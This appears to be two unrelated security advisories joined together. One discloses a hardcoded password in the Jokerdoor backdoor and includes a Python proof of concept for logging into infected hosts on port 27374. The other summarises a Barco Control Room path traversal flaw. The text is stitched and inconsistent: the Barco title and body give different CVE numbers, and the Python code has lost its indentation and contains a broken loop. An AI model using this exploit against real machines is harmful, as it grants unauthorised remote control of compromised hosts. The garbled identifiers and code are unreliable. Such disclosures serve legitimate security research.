Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Weak Hardcoded Credentials
Family: Jokerdoor
Type: PE32
MD5: a6437375fff871dff97dc91c8fd6259f
Vuln ID: MVID-2022-0531
Dropped files: Random name "awup.exe"
Disclosure: 04/02/2022
Description: The malware listens on TCP port 27374. The password "mathiasJ" is weak and hardcoded in the PE file. Failed authentication generates a "POPUP incorrect password..." message, using TELNET results in an error "PWDPerror reading password..." Using Nc64.exe utility results in a trailing line feed character "\n" after the supplied password. This causes the cmp statement check to fail even if the password is correct due to the "\n" character.

004BDA0C | 8B 45 EC | mov eax,dword ptr ss:[ebp-14] | [ebp-14]:" mathiasJ\n"
004BDA0F | 8B 15 0C AC 4D 00 | mov edx,dword ptr ds:[4DAC0C] | 004DAC0C:&"mathiasJ"
004041C7 | 39 D0 | cmp eax,edx | eax" mathiasJ\n", edx"mathiasJ"

So we will need to write a custom client ourselves. The password must also be sent with no space and prefixed with "PWD" E.g. "PWDmathiasJ". Upon successful authentication we get a message e.g. "PWDconnected time, date Legends 2.1".

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=27374

def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
time.sleep(1)

PAYLOAD="PWDmathiasJ"
s.send(PAYLOAD)

time.sleep(1)
print(chk_res(s))
s.close()

if __name__=="__main__":
doit()
print("Malvuln")

*I. SUMMARY*
Title: [CVE-2022-2623] Barco Control Room Management Suite File Path
Traversal Vulnerability
Product: Barco Control Room Management Suite before 2.9 build 0275 and all
prior versions
Vulnerability Type: File Path Traversal
Credit by/Researcher: Murat Aydemir from Accenture Cyber Security Team
(Prague CFC)
Contact: https://twitter.com/mrtydmr75
Github: https://github.com/murataydemir

*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*
CVE Number: CVE-2022-26233
CVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9
CVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Vulnerability Type: File Path Traversal
CWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')

*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*
Due to lack of input sanitizing inputs which come from url, an application
is vulnerable to file path traversal vulnerability. A succesfully
exploitation of this vulnerability could lead to access/read files and
directories stored on file system including application source code or
configuration and critical system files. No authentication is required to
exploit this vulnerability. An attacker who is not logged into the
application can easily exploit this vulnerability.
